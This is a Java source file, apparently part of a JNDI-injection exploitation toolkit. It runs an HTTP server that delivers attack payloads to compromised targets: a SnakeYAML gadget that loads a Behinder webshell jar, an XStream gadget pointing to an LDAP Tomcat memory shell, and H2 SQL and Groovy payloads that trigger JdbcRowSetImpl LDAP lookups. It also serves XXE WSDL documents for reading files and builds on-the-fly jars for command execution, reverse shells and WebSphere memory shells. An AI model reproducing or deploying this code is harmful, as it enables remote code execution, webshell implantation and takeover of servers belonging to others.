package com.qi4l.jndi; import cn.hutool.core.io.file.FileReader; import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.gadgets.utils.Cache; import com.qi4l.jndi.gadgets.utils.Util; import com.qi4l.jndi.template.CommandTemplate; import com.qi4l.jndi.template.DnslogTemplate; import com.qi4l.jndi.template.ReverseShellTemplate; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.lang3.reflect.FieldUtils; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; import java.util.zip.ZipEntry; import static org.fusesource.jansi.Ansi.ansi; public class HTTPServer { //获取根目录路径 public static String cwd = System.getProperty("user.dir"); public static void start() throws IOException { HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); httpServer.createContext("/", new HttpHandler() { @Override public void handle(HttpExchange httpExchange) { try { System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); String qi = String.valueOf(httpExchange.getRequestURI()); if (qi.contains("setPathAlias")) { Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); } else if (qi.contains("setRoute")) { Config.ROUTE = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); } String path = httpExchange.getRequestURI().getPath(); if (path.endsWith(".class")) { handleClassRequest(httpExchange); } else if (path.endsWith(".wsdl")) { handleWSDLRequest(httpExchange); } else if (path.endsWith(".jar")) { handleJarRequest(httpExchange); } else if (path.startsWith("/xxelog")) { handleXXELogRequest(httpExchange); } else if (path.endsWith(".sql")) { handleSQLRequest(httpExchange); } else if (path.endsWith(".groovy")) { handlerGroovyRequest(httpExchange); } else if (path.endsWith(".xml")) { handleXMLRequest(httpExchange); } else if (path.endsWith(".txt")) { handleTXTRequest(httpExchange); } else if (path.endsWith(".yml")) { handleYmlRequest(httpExchange); } else { handleFileRequest(httpExchange); } } catch (Exception e) { e.printStackTrace(); } } }); httpServer.setExecutor(null); httpServer.start(); System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "...")); } private static void handleFileRequest(HttpExchange exchange) throws Exception { System.out.println("[-] 请求的后缀不对"); String path = exchange.getRequestURI().getPath(); String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); File file = new File(filename); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; FileInputStream fileInputStream = new FileInputStream(file); fileInputStream.read(bytes); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } exchange.close(); } private static void handleYmlRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); // String host = exchange.getRequestURI().getHost(); String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String bytes = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + " ]]\n" + "]\n"; if (YamlName.equalsIgnoreCase("snake")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); // exchange.getResponseHeaders().set("Content-type","application/octet-stream"); exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); // exchange.sendResponseHeaders(200, yaml.getObject().length + 1); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); // exchange.getResponseBody().write(yaml.getObject("UTF-8")); } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + YamlName + ".yml"); if (file.exists()) { byte[] bytes1 = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes1); } exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes1); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } public static void handleTXTRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (txtname.equalsIgnoreCase("isok")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); byte[] bytes = "success!".getBytes(); exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, bytes.length + 1); exchange.getResponseBody().write(bytes); } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + txtname + ".txt"); if (file.exists()) { byte[] bytes1 = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes1); } exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes1); } else { System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } public static void handleXMLRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); // String host = exchange.getRequestURI().getHost(); String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); String bytes = "\n \n"; String xstream = "\n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " false\n" + " 0\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " 1008\n" + " true\n" + " 1000\n" + " 0\n" + " 2\n" + " 0\n" + " 0\n" + " 0\n" + " true\n" + " 1004\n" + " false\n" + " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " -1\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " com.sun.rowset.JdbcRowSetImpl\n" + " getDatabaseMetaData\n" + " \n" + " \n" + " foo\n" + " \n" + " foo\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " false\n" + " 0\n" + " 0\n" + " false\n" + " \n" + " false\n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + ""; if (xmlName.equals("a")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); } else if (xmlName.equals("x")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + xmlName + ".xml"); if (file.exists()) { byte[] bytes1 = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes1); } exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); // exchange.getResponseHeaders().set("Content-type","application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes1); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } public static void handleSQLRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); String host = exchange.getRequestURI().getHost(); String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (sqlName.equalsIgnoreCase("echo")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); String name = String.valueOf(System.nanoTime()); String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + "CALL " + name + "();\"}"; exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); } else if (sqlName.equalsIgnoreCase("inject")) { System.out.println("@|green Response Code: |@" + 200); String name = String.valueOf(System.nanoTime()); String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + "CALL " + name + "();\"}"; exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + sqlName + ".sql"); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes); } // exchange.getResponseHeaders().set("Content-type","application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); String host = exchange.getRequestURI().getHost(); String exp = "/TomcatBypass/TomcatEcho"; String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (groovyName.equalsIgnoreCase("groovyecho")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); String bytes = "class demo {\n" + " static void main(){\n" + " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + " o.setAutoCommit(true);\n" + " }\n" + "}\n"; exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + groovyName + ".groovy"); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes); } // exchange.getResponseHeaders().set("Content-type","application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); Object request = FieldUtils.readField(exchangeImpl, "req", true); String startLine = (String) FieldUtils.readField(request, "startLine", true); System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); exchange.sendResponseHeaders(200, 0); exchange.close(); } private static void handleJarRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (jarName.equalsIgnoreCase("behinder3")) { byte[] bytes; String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; FileReader fileReader = new FileReader(filename, "UTF-8"); bytes = fileReader.readBytes(); exchange.sendResponseHeaders(200, bytes.length + 1); exchange.getResponseBody().write(bytes); } else { String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; File file = new File(filename); if (file.exists()) { byte[] bytes; FileReader fileReader = new FileReader(filename, "UTF-8"); bytes = fileReader.readBytes(); exchange.sendResponseHeaders(200, bytes.length + 1); exchange.getResponseBody().write(bytes); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } private static void handleClassRequest(HttpExchange exchange) throws IOException { String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); if (Cache.contains(className)) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); byte[] bytes = Cache.get(className); exchange.sendResponseHeaders(200, bytes.length); //这一步返回http请求 exchange.getResponseBody().write(bytes); } else {//找不到就从/org目录下照 //String pa = cwd + File.separator + "org"; String pa = cwd + path; File file = new File(pa); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { fileInputStream.read(bytes); } exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, file.length() + 1); exchange.getResponseBody().write(bytes); System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200)); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } } exchange.close(); } private static void handleWSDLRequest(HttpExchange exchange) throws Exception { String query = exchange.getRequestURI().getQuery(); Map params = parseQuery(query); String path = exchange.getRequestURI().getPath().substring(1); if (path.startsWith("list")) { //intended to list directories or read files on server String file = params.get("file"); if (file != null && !file.isEmpty()) { String listWsdl = "" + "\n" + " \n" + " %bbb;\n" + "]>\n" + "\n" + " &ddd;\n" + ""; System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, listWsdl.getBytes().length); exchange.getResponseBody().write(listWsdl.getBytes()); } else { System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } exchange.close(); } else if (path.startsWith("upload")) { String type = params.get("type"); String[] args = null; if (type.equalsIgnoreCase("command")) { args = new String[]{params.get("cmd")}; } else if (type.equalsIgnoreCase("dnslog")) { args = new String[]{params.get("url")}; } else if (type.equalsIgnoreCase("reverseshell")) { args = new String[]{params.get("ip"), params.get("port")}; } String jarName = createJar(type, args); if (jarName != null) { String uploadWsdl = ""; System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); exchange.getResponseBody().write(uploadWsdl.getBytes()); } else { System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); } exchange.close(); } else if (path.startsWith("http")) { String xxhttp = "'>'>%ccc;"; System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, xxhttp.getBytes().length); exchange.getResponseBody().write(xxhttp.getBytes()); exchange.close(); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); exchange.close(); } } private static Map parseQuery(String query) { Map params = new HashMap<>(); try { for (String str : query.split("&")) { try { String[] parts = str.split("=", 2); params.put(parts[0], parts[1]); } catch (Exception e) { //continue } } } catch (Exception e) { //continue } return params; } /* 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 目前暂时认为其不会有问题,如果有问题,后面再修改 */ private static String createJar(String type, String... params) throws Exception { byte[] bytes; String className = "xExportObject"; switch (type.toLowerCase()) { case "command": CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); bytes = commandTemplate.getBytes(); break; case "dnslog": DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); bytes = dnslogTemplate.getBytes(); break; case "reverseshell": ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); bytes = reverseShellTemplate.getBytes(); break; case "webspherememshell": ClassPool classPool = ClassPool.getDefault(); CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); exploitClass.setName(className); exploitClass.detach(); bytes = exploitClass.toBytecode(); break; default: return null; } System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); ByteArrayOutputStream bout = new ByteArrayOutputStream(); JarOutputStream jarOut = new JarOutputStream(bout); jarOut.putNextEntry(new ZipEntry(className + ".class")); jarOut.write(bytes); jarOut.closeEntry(); jarOut.close(); bout.close(); String jarName = Util.getRandomString(); Cache.set(jarName, bout.toByteArray()); return jarName; } }